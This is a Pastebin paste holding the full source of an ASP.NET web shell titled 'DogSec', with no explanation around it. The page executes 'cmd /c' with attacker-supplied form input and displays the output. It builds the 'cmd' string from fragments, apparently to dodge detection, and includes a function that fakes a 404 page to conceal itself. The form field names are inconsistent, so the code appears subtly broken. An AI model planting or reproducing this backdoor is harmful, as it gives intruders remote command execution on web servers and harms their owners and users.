Advertisement
Guest User

Untitled

a guest
Feb 25th, 2020
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.47 KB | None | 0 0
  1. <%@ Page Language="C#"%>
  2. <%@ Import Namespace="System" %>
  3.  
  4. <script runat="server">
  5. string stdout = "";
  6. string stderr = "";
  7. void Page_Load(object sender, System.EventArgs e) {
  8. string p1 = "c";
  9. string p3 = "d";
  10. string p4 = "/";
  11.  
  12. if (Request.Form["a"] != null) {
  13. string p2 = "m";
  14. System.Diagnostics.ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo(p1+p2+p3, p4+p1 + Request.Form["c"]);
  15. procStartInfo.CreateNoWindow = true;
  16. procStartInfo.RedirectStandardError = true;
  17. procStartInfo.UseShellExecute = false;
  18. procStartInfo.RedirectStandardOutput = true;
  19. System.Diagnostics.Process p = new System.Diagnostics.Process();
  20. p.StartInfo = procStartInfo;
  21. p.Start();
  22. stderr = p.StandardError.ReadToEnd();
  23. stdout = p.StandardOutput.ReadToEnd();
  24. }
  25. }
  26. void die() {
  27. //HttpContext.Current.Response.Clear();
  28. HttpContext.Current.Response.StatusCode = 404;
  29. HttpContext.Current.Response.StatusDescription = "Not Found";
  30. HttpContext.Current.Response.Write("<h1>404 Not Found</h1>");
  31. HttpContext.Current.Server.ClearError();
  32. HttpContext.Current.Response.End();
  33. }
  34. </script>
  35. <html>
  36. <head>
  37. <title>DogSec</title>
  38. </head>
  39. <body onload="document.something.c.focus()">
  40.  
  41. <form method="post" name="something">
  42. cmd /c <input type="text" name="a"/>
  43. <input type="submit"><br/>
  44. Output:<br/>
  45. <pre><% = stdout.Replace("<", "&lt;") %></pre>
  46. <br/>
  47. <br/>
  48. <br/>
  49. Error:<br/>
  50. <pre><% = stderr.Replace("<", "&lt;") %></pre>
  51. </form>
  52. </body>
  53. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement